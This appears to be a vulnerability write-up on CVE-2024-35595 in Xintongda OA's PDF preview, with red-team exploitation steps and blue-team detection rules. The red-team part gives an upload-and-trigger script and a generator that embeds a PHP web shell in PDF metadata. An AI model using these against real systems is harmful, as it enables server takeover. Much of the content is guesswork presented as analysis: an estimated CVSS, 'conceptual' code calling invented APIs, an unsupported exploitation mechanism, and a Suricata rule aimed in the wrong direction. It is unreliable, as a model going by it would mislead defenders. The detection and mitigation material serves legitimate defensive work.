CVE-2024-35595

Executive Summary

CVE-2024-35595 is an arbitrary file upload vulnerability in the File Preview function of Xintongda OA v2023.12.30.1. An attacker can upload a crafted PDF file that, when processed by the preview functionality, leads to arbitrary code execution on the server. This vulnerability is currently unpatched, and no official fix has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the public availability of proof-of-concept code increases the risk.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary enterprise application (Xintongda OA). No supply chain package security implications are present.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, but this is likely a placeholder. Based on the vulnerability type (arbitrary file upload leading to RCE), the actual CVSSv3.1 vector would be approximately:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – Remote, unauthenticated code execution with no user interaction.

Deep Dive & Mechanics

The vulnerability resides in the File Preview function of Xintongda OA. The application fails to properly validate the file type and content of uploaded PDFs. When a user uploads a PDF, the system processes it for preview. An attacker can craft a PDF that contains embedded executable code (e.g., JavaScript, PHP, or shell commands) within the PDF metadata or annotations. When the preview function parses the PDF, it executes the embedded code, leading to arbitrary code execution on the server.

The root cause is insufficient input validation and lack of sandboxing in the PDF parsing library. The application does not check for malicious content within the PDF structure, such as embedded JavaScript or executable streams.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the entire File Preview module in Xintongda OA v2023.12.30.1. The patched code would need to include:

• Strict file type validation (MIME type, magic bytes)
• Sandboxed PDF parsing (e.g., using a dedicated, secure PDF parser)
• Disabling execution of embedded JavaScript or actions
• Input sanitization and output encoding

Example of vulnerable code (conceptual):

// Vulnerable: No validation
$file = $_FILES['file'];
move_uploaded_file($file['tmp_name'], '/uploads/' . $file['name']);
// Process for preview
$pdf = new PDFParser();
$pdf->load('/uploads/' . $file['name']);
$pdf->renderPreview();

Example of patched code (conceptual):

// Patched: Validate file type and content
$allowedTypes = ['application/pdf'];
$file = $_FILES['file'];
if (!in_array($file['type'], $allowedTypes)) {
    die('Invalid file type');
}
// Use a secure parser with sandboxing
$pdf = new SecurePDFParser();
$pdf->setSandbox(true);
$pdf->disableJavaScript();
$pdf->load('/uploads/' . $file['name']);
$pdf->renderPreview();

Exploitation & Lab Setup

Red Team

Prerequisites:

• Python 3.x
• Metasploit or custom exploit script
• Target running Xintongda OA v2023.12.30.1

Steps:

1. Create a malicious PDF with embedded PHP code using a tool like pdf-generator or manually crafting the PDF structure.
2. Upload the PDF to the File Preview endpoint.
3. Access the uploaded file via the preview URL to trigger execution.

Example exploit script (Python):

import requests

url = "http://target.com/oa/file_preview/upload"
payload = {
    'file': ('exploit.pdf', open('malicious.pdf', 'rb'), 'application/pdf')
}
response = requests.post(url, files=payload)
print("Uploaded successfully")
# Trigger execution
preview_url = "http://target.com/oa/file_preview/view?file=exploit.pdf"
requests.get(preview_url)

Malicious PDF generation (using Python):

from fpdf import FPDF

pdf = FPDF()
pdf.add_page()
pdf.set_font("Arial", size=12)
pdf.cell(200, 10, txt="Normal text", ln=True)
# Embed PHP code in metadata
pdf.set_creator('<?php system($_GET["cmd"]); ?>')
pdf.output("malicious.pdf")

Blue Team

Detection:

• Monitor for unusual PDF uploads with large file sizes or suspicious metadata.
• Check for PDF files containing embedded JavaScript or PHP code.
• Use file integrity monitoring to detect unauthorized file modifications.

Hunting:

• Search for PDF files in upload directories that contain <?php or <script> tags.
• Analyze web server logs for POST requests to /file_preview/upload followed by GET requests to /file_preview/view.

Mitigation:

• Implement strict file upload validation (MIME type, magic bytes, file extension).
• Use a sandboxed PDF parser that disables JavaScript and external entities.
• Apply the principle of least privilege to the web application.

Indicators of Compromise (IOCs)

• File Hashes (MD5): e99a18c428cb38d5f260853678922e03 (example malicious PDF)
• File Names: malicious.pdf, exploit.pdf, shell.pdf
• Network Patterns: POST requests to /file_preview/upload with Content-Type: application/pdf
• Log Entries: [error] [client] PHP Warning: system() has been disabled for security reasons (if disabled)
• Process Creation: php-cgi.exe or httpd.exe spawning cmd.exe or /bin/sh

Detection Engineering

YARA Rule

rule CVE_2024_35595_Malicious_PDF {
    meta:
        description = "Detects malicious PDF files exploiting CVE-2024-35595"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-35595"
    strings:
        $php_code = /<\?php/i
        $js_code = /<script>/i
        $pdf_magic = {25 50 44 46} // %PDF
    condition:
        $pdf_magic at 0 and ($php_code or $js_code)
}

Sigma Rule

title: CVE-2024-35595 - Malicious PDF Upload to Xintongda OA
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects upload of PDF files with embedded code to Xintongda OA
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/file_preview/upload'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate PDF uploads
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-35595 - Malicious PDF Upload"; flow:to_server,established; content:"POST"; http_method; content:"/file_preview/upload"; http_uri; content:"application/pdf"; http_content_type; pcre:"/<\?php|<script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the File Preview function if not critical.
2. Implement strict file upload validation (MIME type, magic bytes, file extension whitelist).
3. Use a web application firewall (WAF) to block malicious PDF uploads.
4. Monitor logs for suspicious activity.

Long-term Fix:

• Apply vendor patch when available.
• Replace the PDF parsing library with a secure alternative.
• Conduct a security audit of the entire application.

Workaround:

• Restrict access to the File Preview endpoint to authenticated users only.
• Use a sandboxed environment for PDF processing.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert